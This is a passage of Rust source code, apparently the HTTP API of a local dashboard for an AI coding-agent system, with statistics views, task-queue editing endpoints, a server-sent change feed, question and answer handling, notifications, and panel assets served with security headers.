4504 wins: usize,
4505 empty: usize,
4506 win_rate: Option<RateView>,
4507}
4508
4509impl From<&stats::AgentStats> for AgentStatsView {
4510 fn from(a: &stats::AgentStats) -> Self {
4511 Self {
4512 agent: a.agent.clone(),
4513 entered: a.entered,
4514 wins: a.wins,
4515 empty: a.empty,
4516 win_rate: RateView::of(a.wins, a.entered),
4517 }
4518 }
4519}
4520
4521#[derive(Debug, Serialize)]
4525struct ReviewerStatsView {
4526 agent: String,
4527 rounds: usize,
4528 seated: usize,
4529 submitted: usize,
4530 adopted: usize,
4531 unique: usize,
4532 timeouts: usize,
4533 adopted_per_round: Option<f64>,
4534 precision: Option<RateView>,
4535 unique_rate: Option<RateView>,
4536 timeout_rate: Option<RateView>,
4537}
4538
4539impl From<&stats::ReviewerStats> for ReviewerStatsView {
4540 fn from(r: &stats::ReviewerStats) -> Self {
4541 Self {
4542 agent: r.agent.clone(),
4543 rounds: r.rounds,
4544 seated: r.seated,
4545 submitted: r.submitted,
4546 adopted: r.adopted,
4547 unique: r.unique,
4548 timeouts: r.timeouts,
4549 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4550 precision: RateView::of(r.adopted, r.submitted),
4551 unique_rate: RateView::of(r.unique, r.submitted),
4552 timeout_rate: RateView::of(r.timeouts, r.seated),
4553 }
4554 }
4555}
4556
4557#[derive(Debug, Serialize)]
4563struct AdvisorStatsView {
4564 agent: String,
4565 seated: usize,
4566 proposed: usize,
4567 absent: usize,
4568 faint: usize,
4569 strong: usize,
4570 reflection_rate: Option<RateView>,
4571}
4572
4573impl From<&stats::AdvisorStats> for AdvisorStatsView {
4574 fn from(a: &stats::AdvisorStats) -> Self {
4575 Self {
4576 agent: a.agent.clone(),
4577 seated: a.seated,
4578 proposed: a.proposed,
4579 absent: a.absent,
4580 faint: a.faint,
4581 strong: a.strong,
4582 reflection_rate: RateView::of(a.strong, a.proposed),
4583 }
4584 }
4585}
4586
4587#[derive(Debug, Serialize)]
4589struct E2eStatsView {
4590 rounds: usize,
4591 failures: usize,
4592 sole_detections: usize,
4593 deferred: usize,
4594 sole_rate: Option<RateView>,
4595}
4596
4597impl From<&stats::E2eStats> for E2eStatsView {
4598 fn from(e: &stats::E2eStats) -> Self {
4599 Self {
4600 rounds: e.rounds,
4601 failures: e.failures,
4602 sole_detections: e.sole_detections,
4603 deferred: e.deferred,
4604 sole_rate: RateView::of(e.sole_detections, e.failures),
4605 }
4606 }
4607}
4608
4609#[derive(Debug, Serialize)]
4617struct ReleaseBumpStatsView {
4618 merged: usize,
4619 recorded: usize,
4620 pr_opened: usize,
4621 automerge_enabled: usize,
4622 merged_directly: usize,
4623 needs_attention: usize,
4624 clean: usize,
4625 coverage_rate: Option<RateView>,
4626 automerge_rate: Option<RateView>,
4627 attention_rate: Option<RateView>,
4628}
4629
4630impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4631 fn from(b: &stats::ReleaseBumpStats) -> Self {
4632 Self {
4633 merged: b.merged,
4634 recorded: b.recorded,
4635 pr_opened: b.pr_opened,
4636 automerge_enabled: b.automerge_enabled,
4637 merged_directly: b.merged_directly,
4638 needs_attention: b.needs_attention,
4639 clean: b.clean(),
4640 coverage_rate: RateView::of(b.recorded, b.merged),
4641 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4642 attention_rate: RateView::of(b.needs_attention, b.recorded),
4643 }
4644 }
4645}
4646
4647#[derive(Debug, Serialize)]
4649struct TaskCountsView {
4650 queued: usize,
4651 running: usize,
4652 done: usize,
4653 failed: usize,
4654 held: usize,
4655 blocked: usize,
4656}
4657
4658impl From<crate::queue::TaskCounts> for TaskCountsView {
4659 fn from(c: crate::queue::TaskCounts) -> Self {
4660 Self {
4661 queued: c.queued,
4662 running: c.running,
4663 done: c.done,
4664 failed: c.failed,
4665 held: c.held,
4666 blocked: c.blocked,
4667 }
4668 }
4669}
4670
4671#[derive(Debug, Serialize)]
4677struct RepoSummaryView {
4678 repo: String,
4681 name: String,
4683 runs: usize,
4684 completion_rate: Option<RateView>,
4685}
4686
4687impl From<&stats::RepoStats> for RepoSummaryView {
4688 fn from(r: &stats::RepoStats) -> Self {
4689 let t = &r.stats.totals;
4690 Self {
4691 repo: r.repo.to_string_lossy().into_owned(),
4692 name: r.name.clone(),
4693 runs: t.runs,
4694 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4695 }
4696 }
4697}
4698
4699#[derive(Debug, Serialize)]
4705struct StatsView {
4706 totals: StatsTotalsView,
4707 agents: Vec<AgentStatsView>,
4709 reviewers: Vec<ReviewerStatsView>,
4711 advisors: Vec<AdvisorStatsView>,
4713 e2e: E2eStatsView,
4714 release_bumps: ReleaseBumpStatsView,
4715 queue: TaskCountsView,
4716 runs_unreadable: usize,
4726 repos: Vec<RepoSummaryView>,
4730 daily: Vec<DailyStatsView>,
4735 repo: Option<String>,
4739}
4740
4741#[derive(Debug, Serialize)]
4743struct DailyStatsView {
4744 date: String,
4746 runs: usize,
4747 merged: usize,
4748 ready: usize,
4749 other: usize,
4750 completion_rate: Option<RateView>,
4752}
4753
4754impl From<&stats::DayBucket> for DailyStatsView {
4755 fn from(b: &stats::DayBucket) -> Self {
4756 Self {
4757 date: b.date.to_string(),
4758 runs: b.runs,
4759 merged: b.merged,
4760 ready: b.ready,
4761 other: b.other,
4762 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4763 }
4764 }
4765}
4766
4767const STATS_DAILY_DAYS: usize = 30;
4769
4770#[derive(Debug, Default, Deserialize)]
4779#[serde(default)]
4780struct StatsQuery {
4781 repo: Option<String>,
4782}
4783
4784async fn stats_get(
4791 State(ui): State<Arc<Ui>>,
4792 Query(q): Query<StatsQuery>,
4793) -> ApiResult<Json<StatsView>> {
4794 blocking(move || {
4795 let states: Vec<RunState> = run_ids(&ui.runs)
4796 .into_iter()
4797 .filter_map(|id| read_run(&ui.runs, &id).ok())
4798 .collect();
4799 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4800 .iter()
4801 .map(RepoSummaryView::from)
4802 .collect();
4803 let mut scoped: Vec<&RunState> = states.iter().collect();
4804 let collected = match &q.repo {
4805 Some(repo) => {
4806 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4807 if filtered.is_empty() {
4808 return Err(ApiError::not_found(format!(
4809 "no runs recorded against repo `{repo}`"
4810 )));
4811 }
4812 scoped = filtered.clone();
4813 stats::collect_refs(filtered)
4814 }
4815 None => stats::collect(&states),
4816 };
4817 let daily = stats::daily(
4818 scoped,
4819 jiff::Zoned::now().date(),
4820 &jiff::tz::TimeZone::system(),
4821 STATS_DAILY_DAYS,
4822 );
4823 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4824 Ok(Json(StatsView {
4825 totals: StatsTotalsView::from(&collected.totals),
4826 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4827 reviewers: collected
4828 .reviewers
4829 .iter()
4830 .map(ReviewerStatsView::from)
4831 .collect(),
4832 advisors: collected
4833 .advisors
4834 .iter()
4835 .map(AdvisorStatsView::from)
4836 .collect(),
4837 e2e: E2eStatsView::from(&collected.e2e),
4838 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4839 queue: TaskCountsView::from(queue_counts),
4840 runs_unreadable: runs_unreadable(&ui.runs),
4841 repos,
4842 daily: daily.iter().map(DailyStatsView::from).collect(),
4843 repo: q.repo.clone(),
4844 }))
4845 })
4846 .await
4847}
4848
4849#[derive(Debug, Default, Deserialize)]
4852#[serde(default, deny_unknown_fields)]
4853struct HoldBody {
4854 reason: Option<String>,
4855}
4856
4857async fn queue_hold(
4858 State(ui): State<Arc<Ui>>,
4859 Path(id): Path<String>,
4860 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4861) -> ApiResult<Json<TaskView>> {
4862 let body = match body {
4866 Ok(Json(body)) => body,
4867 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4868 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4869 };
4870 let reason = body.reason.filter(|r| !r.trim().is_empty());
4871 mutate(ui, id, move |t| {
4872 t.hold_manual(reason.clone());
4873 Ok(())
4874 })
4875 .await
4876}
4877
4878async fn queue_release(
4879 State(ui): State<Arc<Ui>>,
4880 Path(id): Path<String>,
4881) -> ApiResult<Json<TaskView>> {
4882 mutate(ui, id, |t| {
4883 t.release();
4884 Ok(())
4885 })
4886 .await
4887}
4888
4889#[derive(Debug, Deserialize)]
4891#[serde(deny_unknown_fields)]
4892struct PriorityBody {
4893 priority: i32,
4894}
4895
4896async fn queue_priority(
4902 State(ui): State<Arc<Ui>>,
4903 Path(id): Path<String>,
4904 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4905) -> ApiResult<Json<TaskView>> {
4906 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4907 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4908}
4909
4910#[derive(Debug, Deserialize)]
4912#[serde(deny_unknown_fields)]
4913struct EditBody {
4914 title: String,
4915 instruction: String,
4916 #[serde(default)]
4919 force: bool,
4920}
4921
4922async fn queue_edit(
4926 State(ui): State<Arc<Ui>>,
4927 Path(id): Path<String>,
4928 body: std::result::Result<Json<EditBody>, JsonRejection>,
4929) -> ApiResult<Json<TaskView>> {
4930 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4931 let mut judged: Option<(String, PathBuf)> = None;
4935 if !body.force {
4936 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4937 let (id, text) = (id.clone(), body.instruction.clone());
4938 let (seen, hits) = blocking(move || {
4939 let id = resolve_task(&queue, &id)?;
4940 let t = queue.get(&id)?;
4941 if text == t.instruction {
4942 return Ok((None, Vec::new()));
4943 }
4944 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4945 Ok((Some((t.instruction, t.repo)), hits))
4946 })
4947 .await?;
4948 if let Some((_, repo)) = &seen {
4949 let cfg = crate::config::Config::discover(repo, None)
4950 .ok()
4951 .map(|(c, _)| c);
4952 let screened =
4953 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4954 .await
4955 .map_err(|dup| {
4956 ApiError::conflict(dup.render(
4957 "Nothing was saved. If it is not a duplicate, repeat the request \
4958 with \"force\": true.",
4959 ))
4960 })?;
4961 if let crate::dupes::Screened::Unjudged(why) = screened {
4962 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4963 }
4964 }
4965 judged = seen;
4966 }
4967 let force = body.force;
4968 mutate(ui, id, move |t| {
4969 if !force && body.instruction != t.instruction {
4970 match &judged {
4971 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4972 _ => {
4973 anyhow::bail!("the task changed while it was being checked; repeat the request")
4974 }
4975 }
4976 }
4977 t.edit(body.title.clone(), body.instruction.clone())
4978 })
4979 .await
4980}
4981
4982async fn queue_done(
4990 State(ui): State<Arc<Ui>>,
4991 Path(id): Path<String>,
4992) -> ApiResult<Json<TaskView>> {
4993 let home = ui.home.clone();
4994 mutate(ui, id, move |t| {
4995 t.succeed();
4996 crate::daemon::supersede_prior_runs(t, &home);
5004 Ok(())
5005 })
5006 .await
5007}
5008
5009async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5017 blocking(move || {
5018 let id = resolve_task(&ui.queue, &id)?;
5019 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5020 ui.queue
5021 .remove(&id, in_flight, &ui.questions)
5022 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5023 Ok(StatusCode::NO_CONTENT)
5024 })
5025 .await
5026}
5027
5028async fn mutate(
5037 ui: Arc<Ui>,
5038 id: String,
5039 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5040) -> ApiResult<Json<TaskView>> {
5041 blocking(move || {
5042 let id = resolve_task(&ui.queue, &id)?;
5043 let _claim = ui.queue.claim(&id).map_err(|e| {
5048 ApiError::conflict(format!(
5049 "{e:#} - a daemon is running this task, so it cannot be \
5050 changed from here yet"
5051 ))
5052 })?;
5053 let mut task = ui.queue.get(&id)?;
5054 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5055 Ok(dup) => ApiError::conflict(dup.render(
5056 "Nothing was saved. If it is not a duplicate, repeat the request with \
5057 \"force\": true.",
5058 )),
5059 Err(e) => ApiError::bad_request_from(e),
5060 })?;
5061 ui.queue.put(&mut task)?;
5062 Ok(Json(TaskView::from(task)))
5063 })
5064 .await
5065}
5066
5067async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5075 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5076 tokio::spawn(async move {
5077 let mut ticker = tokio::time::interval(POLL);
5078 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5079 let mut stamps: Option<[Stamps; 3]> = None;
5080 loop {
5081 ticker.tick().await;
5084 let state = Arc::clone(&ui);
5085 let revisions = tokio::task::spawn_blocking(move || {
5086 let stamps = [
5087 store_stamps(state.queue.root(), false),
5088 store_stamps(&state.runs, true),
5089 store_stamps(state.talks.root(), false),
5090 ];
5091 let revisions = (
5092 stamps_revision(&stamps[0]),
5093 stamps_revision(&stamps[1]),
5094 state.questions.revision(),
5095 stamps_revision(&stamps[2]),
5096 state.notices.revision(),
5097 state.lock_loop().rev,
5101 );
5102 (revisions, stamps)
5103 })
5104 .await;
5105 let Ok((revisions, next_stamps)) = revisions else {
5106 break;
5107 };
5108 if last == Some(revisions) {
5109 continue;
5110 }
5111 let mut payload = serde_json::json!({
5112 "queue_rev": revisions.0,
5113 "runs_rev": revisions.1,
5114 "questions_rev": revisions.2,
5115 "talks_rev": revisions.3,
5116 "notifications_rev": revisions.4,
5117 "loop_rev": revisions.5,
5118 });
5119 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5120 for (index, (key, rev)) in [
5121 ("queue_delta", base.0),
5122 ("runs_delta", base.1),
5123 ("talks_delta", base.3),
5124 ]
5125 .into_iter()
5126 .enumerate()
5127 {
5128 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5129 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5131 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5132 }
5133 }
5134 }
5135 last = Some(revisions);
5136 stamps = Some(next_stamps);
5137 let Ok(event) = Event::default().event("change").json_data(payload) else {
5139 break;
5140 };
5141 if tx.send(event).await.is_err() {
5142 break;
5143 }
5144 }
5145 });
5146 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5147 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5148}
5149
5150type Stamps = HashMap<String, (u128, u64)>;
5151
5152fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5154 std::fs::read_dir(root)
5155 .into_iter()
5156 .flatten()
5157 .flatten()
5158 .filter_map(|entry| {
5159 let path = if runs {
5160 entry.path().join("run.json")
5161 } else {
5162 entry.path()
5163 };
5164 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5165 return None;
5166 }
5167 let metadata = path.metadata().ok()?;
5168 let modified = metadata
5169 .modified()
5170 .ok()?
5171 .duration_since(std::time::UNIX_EPOCH)
5172 .ok()?;
5173 let id = if runs {
5174 entry.file_name().to_string_lossy().into_owned()
5175 } else {
5176 path.file_stem()?.to_string_lossy().into_owned()
5177 };
5178 Some((id, (modified.as_nanos(), metadata.len())))
5179 })
5180 .collect()
5181}
5182
5183#[derive(Debug, Serialize)]
5184struct Delta {
5185 base: u64,
5186 changed: Vec<String>,
5187 removed: Vec<String>,
5188}
5189
5190fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5191 let mut changed: Vec<_> = next
5192 .iter()
5193 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5194 .map(|(id, _)| id.clone())
5195 .collect();
5196 let mut removed: Vec<_> = previous
5197 .keys()
5198 .filter(|id| !next.contains_key(*id))
5199 .cloned()
5200 .collect();
5201 changed.sort_unstable();
5202 removed.sort_unstable();
5203 Delta {
5204 base,
5205 changed,
5206 removed,
5207 }
5208}
5209
5210fn runs_revision(runs: &FsPath) -> u64 {
5217 stamps_revision(&store_stamps(runs, true))
5218}
5219
5220fn stamps_revision(stamps: &Stamps) -> u64 {
5224 use std::hash::{Hash as _, Hasher as _};
5225 if stamps.is_empty() {
5226 return 0;
5227 }
5228 let mut entries: Vec<_> = stamps.iter().collect();
5229 entries.sort_unstable();
5230 let mut hasher = std::hash::DefaultHasher::new();
5231 entries.hash(&mut hasher);
5232 hasher.finish().max(1)
5233}
5234
5235fn run_ids(runs: &FsPath) -> Vec<String> {
5241 let mut ids: Vec<String> = std::fs::read_dir(runs)
5242 .into_iter()
5243 .flatten()
5244 .flatten()
5245 .filter(|e| e.path().join("run.json").is_file())
5246 .map(|e| e.file_name().to_string_lossy().into_owned())
5247 .collect();
5248 ids.sort_unstable_by(|a, b| b.cmp(a));
5250 ids
5251}
5252
5253fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5255 let path = runs.join(id).join("run.json");
5256 let body =
5257 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5258 let state: RunState =
5259 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5260 run::migrate_schema(state)
5265}
5266
5267#[must_use]
5275pub fn runs_unreadable(runs: &FsPath) -> usize {
5276 run_ids(runs)
5277 .into_iter()
5278 .filter(|id| read_run(runs, id).is_err())
5279 .count()
5280}
5281
5282fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5284 if runs.join(id).join("run.json").is_file() {
5285 return Ok(id.to_owned());
5286 }
5287 pick(run_ids(runs), id, "run")
5288}
5289
5290fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5292 if queue.path_of(id).is_file() {
5293 return Ok(id.to_owned());
5294 }
5295 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5296}
5297
5298#[derive(Debug, Serialize)]
5309struct QuestionView {
5310 #[serde(flatten)]
5311 question: Question,
5312 detail_md: Vec<md::Node>,
5313 thread_bodies_md: Vec<Vec<md::Node>>,
5315 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5318 waiting_on_agent: bool,
5328 holder: Option<&'static str>,
5332 deputies_enabled: bool,
5336 run_is_task: bool,
5339 origin_chat: Option<String>,
5344}
5345
5346impl QuestionView {
5347 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5351 let base = md::ImageBase::QuestionPanel {
5352 id: question.id.clone(),
5353 };
5354 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5355 Self {
5356 detail_md: md::to_nodes(&question.detail, &base),
5357 thread_bodies_md: question
5358 .thread
5359 .iter()
5360 .map(|t| md::to_nodes(&t.body, &base))
5361 .collect(),
5362 thread_notes_md: question
5363 .thread
5364 .iter()
5365 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5366 .collect(),
5367 waiting_on_agent: question.waiting_on_agent(),
5368 holder,
5369 deputies_enabled,
5370 run_is_task: question.run_names_task(),
5371 origin_chat: None,
5372 question,
5373 }
5374 }
5375
5376 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5378 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5379 self
5380 }
5381}
5382
5383fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5387 Config::discover(repo, None).ok().map(|(c, _)| c)
5388}
5389
5390fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5392 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5393}
5394
5395fn question_views(
5398 qs: Vec<Question>,
5399 store: &ask::Questions,
5400 load: impl FnOnce() -> Option<Config>,
5401) -> Vec<QuestionView> {
5402 if qs.is_empty() {
5403 return Vec::new();
5404 }
5405 let cfg = load();
5406 qs.into_iter()
5407 .map(|q| {
5408 let on = deputies_enabled(cfg.as_ref(), &q);
5409 QuestionView::of(q, store, on)
5410 })
5411 .collect()
5412}
5413
5414fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5424 if !q.status.open() {
5425 return None;
5426 }
5427 if q.cwd.is_none() && q.deputy.is_none() {
5428 return crate::deputy::kind_of(q).map(|_| "nobody");
5429 }
5430 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5431 Some(_) if q.deputy.is_some() => "deputy",
5432 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5433 Some(_) => "asker",
5434 None => "nobody",
5435 })
5436}
5437
5438async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5444 blocking(move || {
5445 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5446 Ok(Json(
5447 question_views(ui.questions.list(), &ui.questions, || {
5448 deputy_config(&ui.repo)
5449 })
5450 .into_iter()
5451 .map(|v| v.with_origin(&tasks, &talks))
5452 .collect(),
5453 ))
5454 })
5455 .await
5456}
5457
5458async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5461 blocking(move || {
5462 let items = ui.notices.list();
5463 let unread = items.iter().filter(|n| n.unread()).count();
5464 Ok(Json(
5465 serde_json::json!({ "unread": unread, "items": items }),
5466 ))
5467 })
5468 .await
5469}
5470
5471fn notice_error(e: anyhow::Error) -> ApiError {
5472 ApiError::not_found(format!("{e:#}"))
5475}
5476
5477async fn notification_read(
5479 State(ui): State<Arc<Ui>>,
5480 Path(id): Path<String>,
5481) -> ApiResult<Json<Notice>> {
5482 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5483}
5484
5485async fn notification_dismiss(
5487 State(ui): State<Arc<Ui>>,
5488 Path(id): Path<String>,
5489) -> ApiResult<Json<Notice>> {
5490 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5491}
5492
5493async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5495 blocking(move || {
5496 let changed = ui.notices.mark_all_read()?;
5497 Ok(Json(serde_json::json!({ "marked": changed })))
5498 })
5499 .await
5500}
5501
5502#[derive(Debug, Default, Deserialize)]
5508#[serde(default, deny_unknown_fields)]
5509struct NewAnswer {
5510 choice: Option<String>,
5511 text: Option<String>,
5512}
5513
5514async fn question_answer(
5515 State(ui): State<Arc<Ui>>,
5516 Path(id): Path<String>,
5517 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5518) -> ApiResult<Json<QuestionView>> {
5519 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5520 let answer = match (body.choice, body.text) {
5521 (Some(c), None) => Answer::Choice(c),
5522 (None, Some(t)) => Answer::Text(t),
5523 (Some(_), Some(_)) => {
5524 return Err(ApiError::bad_request(
5525 "send either `choice` or `text`, not both",
5526 ));
5527 }
5528 (None, None) => {
5529 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5530 }
5531 };
5532
5533 blocking(move || {
5534 let id = resolve_question(&ui.questions, &id)?;
5535 let q = ui
5536 .questions
5537 .get(&id)
5538 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5539 if !q.status.open() {
5540 return Err(ApiError::conflict(format!(
5544 "question {} is already {}",
5545 q.short(),
5546 q.status.as_str()
5547 )));
5548 }
5549 let (q, ()) = ui
5553 .questions
5554 .update(&q.id, |r| r.answer(answer))
5555 .map_err(ApiError::bad_request_from)?;
5556 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5557 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5558 Ok(Json(
5559 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5560 ))
5561 })
5562 .await
5563}
5564
5565#[derive(Debug, Deserialize)]
5567#[serde(deny_unknown_fields)]
5568struct NewSay {
5569 body: String,
5570}
5571
5572async fn question_say(
5582 State(ui): State<Arc<Ui>>,
5583 Path(id): Path<String>,
5584 body: std::result::Result<Json<NewSay>, JsonRejection>,
5585) -> ApiResult<Json<QuestionView>> {
5586 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5587 blocking(move || {
5588 let id = resolve_question(&ui.questions, &id)?;
5589 let q = ui
5590 .questions
5591 .get(&id)
5592 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5593 if !q.status.open() {
5594 return Err(ApiError::conflict(format!(
5598 "question {} is already {}",
5599 q.short(),
5600 q.status.as_str()
5601 )));
5602 }
5603 let (q, ()) = ui
5606 .questions
5607 .update(&q.id, |r| r.say(body.body))
5608 .map_err(ApiError::bad_request_from)?;
5609 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5610 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5611 Ok(Json(
5612 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5613 ))
5614 })
5615 .await
5616}
5617
5618async fn question_consult(
5627 State(ui): State<Arc<Ui>>,
5628 Path(id): Path<String>,
5629) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5630 let (view, reclaimed) = blocking({
5631 let ui = Arc::clone(&ui);
5632 move || {
5633 let id = resolve_question(&ui.questions, &id)?;
5634 let q = ui
5635 .questions
5636 .get(&id)
5637 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5638 if !q.status.open() {
5639 return Err(ApiError::conflict(format!(
5640 "question {} is already {}",
5641 q.short(),
5642 q.status.as_str()
5643 )));
5644 }
5645 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5646 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5647 return Err(ApiError::conflict(format!(
5648 "question {} has no open chat to ask",
5649 q.short()
5650 )));
5651 };
5652 let cfg = if q.consult.is_none() {
5656 Some(Config::discover(&talk.repo, None)?.0)
5657 } else {
5658 None
5659 };
5660 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5661 let claim = if fresh {
5662 match ui.begin_queued_talk_turn(&talk.id)? {
5663 Some(turn_guard) => {
5664 let talk = ui.talks.get(&talk.id)?;
5665 let cfg = match cfg {
5666 Some(cfg) => cfg,
5667 None => Config::discover(&talk.repo, None)?.0,
5668 };
5669 Some((talk, cfg, turn_guard))
5670 }
5671 None => None,
5672 }
5673 } else {
5674 None
5675 };
5676 let q = ui.questions.get(&q.id)?;
5677 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5678 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5679 Ok((view, claim))
5680 }
5681 })
5682 .await?;
5683 if let Some((talk, cfg, turn_guard)) = reclaimed {
5684 let talks = ui.talks.clone();
5685 let id = talk.id.clone();
5686 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5687 }
5688 Ok((StatusCode::ACCEPTED, Json(view)))
5689}
5690
5691fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5693 if store.path_of(id).is_file() {
5694 return Ok(id.to_owned());
5695 }
5696 pick(
5697 store.list().into_iter().map(|q| q.id).collect(),
5698 id,
5699 "question",
5700 )
5701}
5702
5703async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5718 blocking(move || {
5719 let id = resolve_question(&ui.questions, &id)?;
5720 let Some(html) = ui.questions.panel_html(&id) else {
5721 return Err(ApiError::not_found(format!("question {id} has no panel")));
5722 };
5723 Ok(panel_response(
5724 "text/html; charset=utf-8",
5725 false,
5726 html.into_bytes(),
5727 ))
5728 })
5729 .await
5730}
5731
5732async fn question_asset(
5760 State(ui): State<Arc<Ui>>,
5761 Path((id, name)): Path<(String, String)>,
5762) -> ApiResult<Response> {
5763 if !crate::ask::valid_asset_name(&name) {
5766 return Err(ApiError::bad_request(format!(
5767 "`{name}` is not a usable asset name"
5768 )));
5769 }
5770 blocking(move || {
5771 let id = resolve_question(&ui.questions, &id)?;
5772 let asset = ui
5773 .questions
5774 .panel_asset(&id, &name)
5775 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5776 let Some(bytes) = asset else {
5777 return Err(ApiError::not_found(format!(
5778 "question {id} has no asset `{name}`"
5779 )));
5780 };
5781 Ok(panel_response(
5782 asset_content_type(&name),
5783 is_svg(&name),
5784 bytes,
5785 ))
5786 })
5787 .await
5788}
5789
5790fn asset_content_type(name: &str) -> &'static str {
5803 match extension(name).as_deref() {
5804 Some("png") => "image/png",
5805 Some("jpg" | "jpeg") => "image/jpeg",
5806 Some("gif") => "image/gif",
5807 Some("webp") => "image/webp",
5808 Some("svg") => "image/svg+xml",
5809 Some("css") => "text/css; charset=utf-8",
5810 Some("txt") => "text/plain; charset=utf-8",
5811 _ => "application/octet-stream",
5812 }
5813}
5814
5815fn is_svg(name: &str) -> bool {
5818 extension(name).as_deref() == Some("svg")
5819}
5820
5821fn extension(name: &str) -> Option<String> {
5823 name.rsplit_once('.')
5824 .map(|(_, ext)| ext.to_ascii_lowercase())
5825}
5826
5827fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5844 let mut res = (
5845 [
5846 (header::CONTENT_TYPE, content_type),
5847 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5848 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5849 (header::REFERRER_POLICY, "no-referrer"),
5850 ],
5851 body,
5852 )
5853 .into_response();
5854 if download {
5855 res.headers_mut().insert(
5856 header::CONTENT_DISPOSITION,
5857 HeaderValue::from_static("attachment"),
5858 );
5859 }
5860 res
5861}
